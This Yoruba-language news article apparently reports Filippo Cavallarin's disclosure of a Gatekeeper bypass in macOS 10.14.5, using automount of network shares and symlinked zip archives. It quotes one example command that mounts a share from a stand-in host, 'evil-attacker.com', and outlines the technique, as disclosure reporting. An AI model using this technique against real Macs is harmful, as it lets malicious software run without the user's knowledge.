Amaya Toman Oluwadi aabo Filippo Cavallarin fi ikilọ kan han nipa kokoro ni macOS 10.14.5 lori bulọọgi rẹ. Eyi ni o ṣeeṣe lati kọja awọn igbese aabo Ẹnubodè patapata. Gẹgẹbi Cavallarin, o tọka si aṣiṣe si Apple tẹlẹ ni Kínní ti ọdun yii, ṣugbọn ile-iṣẹ ko ṣe atunṣe ni imudojuiwọn tuntun.
Ẹnubodè ti ni idagbasoke nipasẹ Apple ati pe o dapọ si ẹrọ ṣiṣe tabili tabili rẹ fun igba akọkọ ni ọdun 2012. O jẹ ẹrọ ti o ṣe idiwọ ohun elo lati ṣiṣẹ laisi imọ ati ifọwọsi olumulo. Lẹhin ti o ṣe igbasilẹ ohun elo kan, Ẹnubodè ṣayẹwo laifọwọyi koodu rẹ lati rii boya sọfitiwia naa ti fowo si daradara nipasẹ Apple.
O le jẹ anfani ti o
Ninu ifiweranṣẹ bulọọgi rẹ, Cavallarin sọ pe Ẹnubodè, nipasẹ aiyipada, ṣe akiyesi ibi ipamọ ita mejeeji ati awọn ipin nẹtiwọki lati jẹ awọn ipo aabo. Ohun elo eyikeyi ti o ngbe ni awọn ibi-afẹde wọnyi le nitorinaa ṣe ifilọlẹ laifọwọyi laisi nini lati lọ nipasẹ ayẹwo Ẹnubode. O jẹ ẹya ara ẹrọ yii ti o le lo lati ṣe ifilọlẹ sọfitiwia irira laisi imọ olumulo.
Apakan kan ti o fun laaye iwọle laigba aṣẹ ni ẹya automount, eyiti ngbanilaaye awọn olumulo lati gbe ipinpin nẹtiwọọki kan laifọwọyi nipa sisọ ọna kan ti o bẹrẹ pẹlu “/ net/”. Gẹgẹbi apẹẹrẹ, Cavallarin tọka ọna naa "ls /net/evil-attacker.com/sharedfolder/" eyi ti o le fa ki ẹrọ ṣiṣe lati ṣaja awọn akoonu ti folda "sharedfolder" ni ipo jijin ti o le jẹ irira.
O le wo ọna ti irokeke naa n ṣiṣẹ ninu fidio:
Okunfa miiran ni otitọ pe ti ibi ipamọ zip ti o ni ami-ami kan pato ti o yori si iṣẹ adaṣe ti pin, kii yoo ṣe ayẹwo nipasẹ Ẹnubodè. Ni ọna yii, olufaragba naa le ni irọrun ṣe igbasilẹ ibi-ipamọ irira ki o ṣii sii, gbigba apaniyan naa lati ṣiṣẹ fere eyikeyi sọfitiwia lori Mac laisi imọ olumulo. Oluwari, eyiti o tọju awọn amugbooro kan nipasẹ aiyipada, tun ni ipin ti ailagbara yii.
Cavallarin sọ lori bulọọgi rẹ pe Apple fa ifojusi si ailagbara ti ẹrọ ṣiṣe macOS ni Kínní 22 ti ọdun yii. Ṣugbọn ni aarin-Oṣu Karun, Apple dẹkun ibaraẹnisọrọ pẹlu Cavallarin, nitorina Cavallarin pinnu lati ṣe gbogbo nkan ni gbangba.
Orisun: FCVL
